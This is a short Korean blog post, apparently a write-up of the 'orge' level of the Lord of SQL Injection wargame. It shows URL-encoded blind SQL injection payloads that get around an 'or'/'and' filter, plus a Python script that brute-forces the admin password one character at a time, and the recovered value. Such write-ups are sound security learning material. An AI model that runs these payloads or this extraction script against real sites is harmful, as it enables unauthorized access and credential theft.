Network/LOS

[LOS_7]orge

dcho 2019. 8. 17. 04:44
SMALL

이 문제는 pw를 get으로 받는데 정확하게 pw를 맞추라는 문제이고 or, and가 제한이 걸려있는 blind sql injection문제이다.

첫번째 조건문을 보아 쿼리문을 통해 참이면 "Hello [id]"가 출력이 된다. 

조건 참일 경우를 이용하여 길이를 하나하나 찾아 주었고 그냥 입력하면 정상적으로 들어가지 않아 # 을 넣어 뒤에를 주석처리를 해주었다.(URL인코딩)

and,or는 &&, ||로 대체해서 쓸수있기에 이것을 이용해 랭스를 알아 보았다. (URL인코딩을 통해 우회를 해주었다.)

|| : %7c%7c

&& : %26%26

?pw=1'%7c%7c id='admin' %26%26 length(pw)=8 %23

전 문제와 비슷하게 넣었는데 똑같은 8자리였다.



?pw=1'%7c%7c id='admin' %26%26 ascii(substr(pw,1,1))<64 %23

전 문제 처럼 ord()함수를 이용하면 막힌다. 아마 or을 제한해놓아서 그런것 같다 그래서 같은 기능을 하는 ascii()함수를 이용해 주었다.


바로 자동화 시켜주기!

import requests

headers = {"cookie": 'PHPSESSID=[Your Session ID]'} #자신의 쿠키 값을 넣어준다.
url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?" #url

for i in range(1, 9): # 큰 반복분 8자리 이기에 9까지
    for j in range(48, 127): # 작은 반복문 숫자부터 시작함
        params = {'pw':"1' || id='admin' && ascii(substr(pw," + str(i) + ",1))=" + str(j) + " #"}
        
        r = requests.get(url,params=params,headers=headers)
        
        if "Hello admin" in r.text: 응답값에서 텍스트가 Hello admin이면 출력하고 다음자리로
            print(chr(j),end='')
            break


실행결과 : 6c864dec



클리어!




'Network > LOS' 카테고리의 다른 글

[LOS_9]vampire  (0) 2019.08.17
[LOS_8]troll  (0) 2019.08.17
[LOS_6]darkelf  (0) 2019.08.16
[LOS_5]wolfman  (0) 2019.08.16
[LOS_4]orc  (0) 2019.08.16